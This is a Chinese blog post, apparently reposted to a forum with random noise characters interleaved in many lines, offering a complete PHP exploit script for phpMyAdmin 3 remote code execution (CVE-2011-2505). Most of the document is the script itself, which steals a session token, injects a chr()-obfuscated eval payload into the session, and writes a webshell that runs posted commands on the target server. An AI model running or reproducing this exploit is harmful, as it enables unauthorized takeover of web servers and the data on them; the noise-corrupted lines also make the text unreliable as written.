phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

- H7 T& F0 o7 r- F' ^昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
+ D/ ?% Q, Y1 U4 c! F
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
2 k& T$ n6 r- J" a# B. [; l" Y一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ R7 z! Q. W- F& X/ I5 |
) |  H- m$ r" j6 ^- [& _于是写了这个php版本的exp，代码如下：
5 J$ H$ G7 l8 b) Z5 E
#!/usr/bin/php
$ l( v( P0 w, g7 v* R1 {* y<?php
6 C3 V" e; s5 |9 S: u, N  Z& dprint_r('
+ W" f( s- R& \* w% A+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
" f4 I  {: J8 ]. J% ~7 Umail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

/**
4 c$ @7 @' b# M7 J- E1 M" r * working when the directory:"config" exists and is writeable.
**/
% \) Y! N9 F- h9 J
if ($argc < 3) {
5 G' k) x0 ^) G) H4 I    print_r('
  E  c7 |/ C+ t- {+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
3 R) N/ i+ E, R3 l8 h( d2 V3 o$ mpath:      path to pma3
Example:
php '.$argv[0].' localhost /pma/
1 @- M2 p1 G) i. I$ T' k& I+---------------------------------------------------------------------------+
');
/ N4 \9 T7 q' j' R& I3 H: M) x8 x    exit;
}

1 {% w8 W+ f2 Z$host = $argv[1];
$path = $argv[2];
/ r$ h& o. T1 r) m: T. C, W
8 A- `7 K1 K4 }& m/**
1 s! y% Y. x. z * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
6 r- X9 V. O7 }) E9 y  ?+ qif(strpos($returnstr,'404')){
& N/ v3 t/ ?% A- G; q  q) f# \    exit("[-] Exploit Failed! The directory:config do not exists!\n");
+ X& i% ?/ R0 Q3 P}

4 K3 }9 m6 i( E7 F% }/**
* Try to get token and sessionid
6 c- m4 V( I1 _' P**/
. d0 U( m/ a$ U1 C; |7 w) uecho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
( `& W9 m0 |+ E: j0 K3 [' o9 kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
  O; X# q1 _0 r5 ]2 G; y2 A; [# B$token=$resp[3];
1 l' j5 b1 B: x0 R4 p# ~$sessionid=$resp[1];
7 l, \/ _9 K. @+ q% G7 L4 l$ tif($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
& M) |' x  L# s}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
8 e6 r/ b2 N, f; {8 w: i% K2 ?. r
/**
* Try to insert shell into session
1 A6 d' {, v+ @**/
echo "[+] Try to insert shell into session....\n";
1 d/ _+ g4 {) T9 _9 Nphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
4 X* F0 F# `8 b0 H# _! H7 s& F
' o1 O/ H% D" |9 e: X5 j/**
- W. ^, x$ n( _- k4 a1 @0 } * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
**/
+ B7 k! T; e% {- W2 Kecho "[+] Try to check if the webshell was created successfully....\n";
9 e6 X! ^) [$ k8 F* C$ L$ H0 P" j$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
3 H, T5 k* M  ^$ N* l/ n    echo "[+] Congratulations! Expoilt successfully....\n";
. z7 V/ o% N- |, `1 H) N- u3 G    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
3 W0 z8 V6 x' t3 g( z4 k. Z/ y+ f    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}
2 ^: ~; U5 j* o$ `; }4 P
, k8 w1 ], W+ ^* t, jfunction php_request($url,$data='',$cookie=''){
    global  $host, $path;
   
, [5 B4 S) |- _0 e8 A0 O& Q0 ]    $method=$data?'POST':'GET';
   
2 j/ \' C+ F% Q4 O    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
& N' t2 W) @0 n. B    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
8 `& f$ F% _$ y1 w. [    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
2 i6 L6 T0 q4 ~) r  i2 i    $packet .= $data?$data:"";
2 h  j' ]" a7 m# g8 n3 f1 A
4 [" w( Q4 @/ _3 H$ h7 E* j0 V    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
9 A' }5 U& O7 A) w- l    echo 'No response from '.$host; die;
% ?6 ^  ^+ I/ t: z% o, d# @/ @    }
    fputs($fp, $packet);
% @, V+ H( Y% z
    $resp = '';

& M5 f: }- m2 a6 A, k8 Q& J    while ($fp && !feof($fp))
+ z+ v$ ~& u1 K: {; s        $resp .= fread($fp, 1024);

    return $resp;
}
$ h3 X. {& i  H# `' B   
?>
% j, q: L( N, r6 N5 x; e) _.